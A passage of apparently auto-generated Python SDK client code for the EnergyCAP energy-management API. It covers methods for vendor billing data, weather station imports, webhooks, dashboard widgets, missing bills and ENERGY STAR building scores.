request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdatedOnlyResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_vendor_accounts_audit_exclusion.metadata = {'url': '/api/v202104/vendor/{vendorId}/auditEnabled'}
def get_vendor_actual_yearly(
self, vendor_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by vendor for a given number of
years- Result includes cost, use, unit cost on an yearly basis. It also
includes commodity level break up.
:param vendor_id: The vendor to retrieve data for
:type vendor_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: VendorDigestActualYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.VendorDigestActualYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_vendor_actual_yearly.metadata['url']
path_format_arguments = {
'vendorId': self._serialize.url("vendor_id", vendor_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('VendorDigestActualYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_vendor_actual_yearly.metadata = {'url': '/api/v3/vendor/{vendorId}/digest/actual/yearly'}
def import_weather_data(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Import mean daily temperature readings for weather stations which are
connected to EnergyCAP weather services.
### Other Remarks
By default, this endpoint may be called without parameters to import
weather for all "used" weather stations (at least one building is
assigned to it) beginning from the current date minus 31 days.
By providing a begin date, API users may go further back in history to
backfill missing weather data.
If a weather station has no readings at all, then the begin date will
be set to 1899-12-31 so we can import history
However the begin date is ascertained, readings will be imported from
that date through today's date, overwriting any existing readings or
filling in any missing readings.
The API user may also provide a list of weather station codes. Even if
the provided stations are not yet used, weather readings will be
imported for them.
:param body:
:type body: ~energycap.sdk.models.WeatherImportSettings
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WeatherImportResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WeatherImportResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.import_weather_data.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WeatherImportSettings')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WeatherImportResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
import_weather_data.metadata = {'url': '/api/v3/weatherstation/import'}
def get_weather_stations(
self, custom_headers=None, raw=False, **operation_config):
"""Get weather stations. Includes custom-created weather stations.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.WeatherStationResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_weather_stations.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[WeatherStationResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_weather_stations.metadata = {'url': '/api/v3/weatherstation'}
def create_webhook(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new webhook.
:param body:
:type body: ~energycap.sdk.models.WebhookCreateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_webhook.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WebhookCreateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_webhook.metadata = {'url': '/api/v3/webhook'}
def get_webhooks(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of all webhooks.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.WebhookResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_webhooks.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[WebhookResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_webhooks.metadata = {'url': '/api/v3/webhook'}
def edit_webhook(
self, webhook_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit an existing webhook.
:param webhook_id:
:type webhook_id: int
:param body:
:type body: ~energycap.sdk.models.WebhookEditRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_webhook.metadata['url']
path_format_arguments = {
'webhookId': self._serialize.url("webhook_id", webhook_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WebhookEditRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_webhook.metadata = {'url': '/api/v3/webhook/{webhookId}'}
def delete_webhook(
self, webhook_id, custom_headers=None, raw=False, **operation_config):
"""Delete a webhook.
:param webhook_id:
:type webhook_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_webhook.metadata['url']
path_format_arguments = {
'webhookId': self._serialize.url("webhook_id", webhook_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_webhook.metadata = {'url': '/api/v3/webhook/{webhookId}'}
def get_webhook(
self, webhook_id, custom_headers=None, raw=False, **operation_config):
"""Get a single webhook.
:param webhook_id:
:type webhook_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_webhook.metadata['url']
path_format_arguments = {
'webhookId': self._serialize.url("webhook_id", webhook_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_webhook.metadata = {'url': '/api/v3/webhook/{webhookId}'}
def get_webhook_logs(
self, webhook_id, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of webhook event logs.
:param webhook_id:
:type webhook_id: int
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.WebhookLogResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_webhook_logs.metadata['url']
path_format_arguments = {
'webhookId': self._serialize.url("webhook_id", webhook_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[WebhookLogResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_webhook_logs.metadata = {'url': '/api/v3/webhook/{webhookId}/log'}
def get_webhook_log_details(
self, webhook_id, webhook_log_id, custom_headers=None, raw=False, **operation_config):
"""Get details for a webhook log.
:param webhook_id:
:type webhook_id: int
:param webhook_log_id:
:type webhook_log_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_webhook_log_details.metadata['url']
path_format_arguments = {
'webhookId': self._serialize.url("webhook_id", webhook_id, 'int'),
'webhookLogId': self._serialize.url("webhook_log_id", webhook_log_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_webhook_log_details.metadata = {'url': '/api/v3/webhook/{webhookId}/log/{webhookLogId}/detail'}
def get_webhook_event_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get webhook event types.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.WebhookEventTypeChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_webhook_event_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[WebhookEventTypeChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_webhook_event_types.metadata = {'url': '/api/v3/webhook/eventType'}
def delete_webhook_logs_older_than(
self, older_than_days=3, custom_headers=None, raw=False, **operation_config):
"""Delete webhook logs older than the number of days provided only if
the number of logs per webhook is in excess of 100.
100 latest logs per webhook will always be maintained.
:param older_than_days: Defaults to 3
:type older_than_days: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_webhook_logs_older_than.metadata['url']
# Construct parameters
query_parameters = {}
if older_than_days is not None:
query_parameters['olderThanDays'] = self._serialize.query("older_than_days", older_than_days, 'int')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_webhook_logs_older_than.metadata = {'url': '/api/v202104/webhook/log'}
def get_widgets(
self, custom_headers=None, raw=False, **operation_config):
"""Retrieves an array of widgets.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.WidgetResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_widgets.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[WidgetResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_widgets.metadata = {'url': '/api/v3/widget'}
def get_eui_chart_widget_data(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves energy use intensity data for a specific widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter: API filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceDigestEnergyUseIntensity] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_eui_chart_widget_data.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestEnergyUseIntensity]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_eui_chart_widget_data.metadata = {'url': '/api/v3/widget/eui/{specificWidgetId}'}
def get_missing_bills(
self, specific_widget_id, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Returns gaps in billing data for a date range specified by the Bill
Date Range filter.
A gap is defined as at least one day that falls within the account's
service dates and
not included in any bill for that account meter.
The Allowable Gap Days filter specifies the number of days that must be
in the gap
before it will be included in the results.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MissingBillWidget] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_missing_bills.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MissingBillWidget]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_missing_bills.metadata = {'url': '/api/v3/widget/missingbills/{specificWidgetId}'}
def get_bills_overdue_from_vendor(
self, specific_widget_id, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves data about bills that have not yet been received from
vendors.
NOTE: Does not support global dashboard filtering with Topmost Place,
Place Group API filters.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillsOverdueFromVendorResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bills_overdue_from_vendor.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[BillsOverdueFromVendorResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bills_overdue_from_vendor.metadata = {'url': '/api/v3/widget/billsoverduefromvendor/{specificWidgetId}'}
def get_interval_data(
self, specific_widget_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves interval data for a specific widget
NOTE: Does not support global dashboard filtering with Topmost Place,
Place Group API filters.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.Readings] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_interval_data.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[Readings]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_interval_data.metadata = {'url': '/api/v3/widget/intervaldata/{specificWidgetId}'}
def get_energy_star_multiple_buildings(
self, specific_widget_id, number_of_years=2, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of buildings for the Multiple ENERGY STAR Buildings
widget.
The widget is expecting zero, one, or many buildings, and alters its
layout based on how many results it receives.
Validation:
- The provided specific widget must exist
- The provided specific widget must be an Multiple ENERGY STAR
Buildings widget.
:param specific_widget_id: Identifier for a specific ENERGY STAR
widget on a dashboard
:type specific_widget_id: int
:param number_of_years: Only used when a single building is returned.
The number of years to go back from most recent score. Defaults to 2
years. If 0 is provided, will only include current score.
:type number_of_years: int
:param filter: Filter string which may add to or override saved filter
values during this request
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyStarPlaceHierarchyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_multiple_buildings.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int', maximum=2147483647, minimum=0)
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarPlaceHierarchyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_energy_star_multiple_buildings.metadata = {'url': '/api/v3/widget/multipleenergystarbuildings/{specificWidgetId}'}
def get_energy_star_single_building(
self, specific_widget_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves ENERGY STAR place score history for a building
Validation:
- The provided specific widget must exist
- The provided specific widget must be an ENERGY STAR Single Building
widget.
:param specific_widget_id: Identifier for a specific Single ENERGY
STAR Building widget on a dashboard
:type specific_widget_id: int
:param number_of_years: The number of years to go back from most
recent score. Defaults to 2 years. If 0 is provided, will only include
current score.
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarPlaceHierarchyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.EnergyStarPlaceHierarchyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_star_single_building.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int', maximum=2147483647, minimum=0)
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarPlaceHierarchyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_star_single_building.metadata = {'url': '/api/v3/widget/singleenergystarbuilding/{specificWidgetId}'}
def get_actionable_bill_counts(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Returns counts of bills Held from Export, bills Waiting for Export to
AP, bills Waiting for Export to GL, bills which are Not Approved, bills
with unresolved flags,
and bills created in the past seven days.
:param specific_widget_id: Identifier for a specific Bill Status
widget on a dashboard
:type specific_widget_id: int
:param filter: Filter string which may add to or override saved filter
values during this request
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
